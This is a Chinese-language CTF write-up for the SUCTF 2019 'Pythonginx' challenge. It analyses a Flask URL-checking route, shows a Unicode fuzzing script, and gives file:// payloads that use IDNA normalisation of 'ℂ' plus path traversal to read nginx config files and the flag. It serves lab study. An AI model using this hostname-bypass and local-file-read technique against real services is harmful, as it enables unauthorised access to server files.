buuctf:[SUCTF 2019]Pythonginx
打开环境后有一个输入的窗口,查看源代码,给了提示
分析源码
@app.route('/getUrl', methods=['GET', 'POST'])
def getUrl():
url = request.args.get("url")
host = parse.urlparse(url).hostname #提取url中的主机名
if host == 'suctf.cc':
return "我扌 your problem? 111"
parts = list(urlsplit(url))
host = parts[1]
if host == 'suctf.cc':
return "我扌 your problem? 222 " + host
newhost = []
for h in host.split('.'):
newhost.append(h.encode('idna').decode('utf-8'))
parts[1] = '.'.join(newhost)
#去掉 url 中的空格
finalUrl = urlunsplit(parts).split(' ')[0]
host = parse.urlparse(finalUrl).hostname
if host == 'suctf.cc':
return urllib.request.urlopen(finalUrl).read()
else:
return "我扌 your problem? 333"
urlparse模块主要是用于解析url中的参数 对url按照一定格式进行 拆分或拼接
urlparse()把url拆分为6个部分,scheme(协议),netloc(域名),path(路径),params(可选参数),query(连接键值对),fragment(特殊锚),并且以元组形式返回。
这里代码应该是我们传入的url需要绕过前两个if判断,然后进入第三个if语句里去读取我们想要的信息。而三个if中判断条件都是相同的,不过提取host的方式却不同。
前两个判断 host 是否是 suctf.cc ,如果不是才能继续。然后第三个经过了 decode('utf-8') 之后传进了 urlunsplit 函数,在第三个判断中又必须要等于 suctf.cc 才行。
所以首先不能让他为 suctf.cc,但是经过了 urlunsplit 后变成 suctf.cc。
直接用脚本找c的可利用字符,脚本是网上找的
from urllib.parse import urlparse, urlunsplit, urlsplit from urllib import parse def get_unicode(): for x in range(65536): uni = chr(x) url = "http://suctf.c{}".format(uni) try: if getUrl(url): print("str: " + uni + ' unicode: \\u' + str(hex(x))[2:]) except: pass def getUrl(url): url = url host = parse.urlparse(url).hostname if host == 'suctf.cc': return False parts = list(urlsplit(url)) host = parts[1] if host == 'suctf.cc': return False newhost = [] for h in host.split('.'): newhost.append(h.encode('idna').decode('utf-8')) parts[1] = '.'.join(newhost) finalUrl = urlunsplit(parts).split(' ')[0] host = parse.urlparse(finalUrl).hostname if host == 'suctf.cc': return True else: return False if __name__ == '__main__': get_unicode()
nginx的配置文件所在位置
配置文件存放目录:/etc/nginx
主配置文件:/etc/nginx/conf/nginx.conf
管理脚本:/usr/lib64/systemd/system/nginx.service
模块:/usr/lisb64/nginx/modules
应用程序:/usr/sbin/nginx
程序默认存放位置:/usr/share/nginx/html
日志默认存放位置:/var/log/nginx
从而构造playload:file://suctf.cℂ/usr/local/nginx/conf/nginx.conf
获取flag
file://suctf.cℂ/../../../../..//usr/fffffflag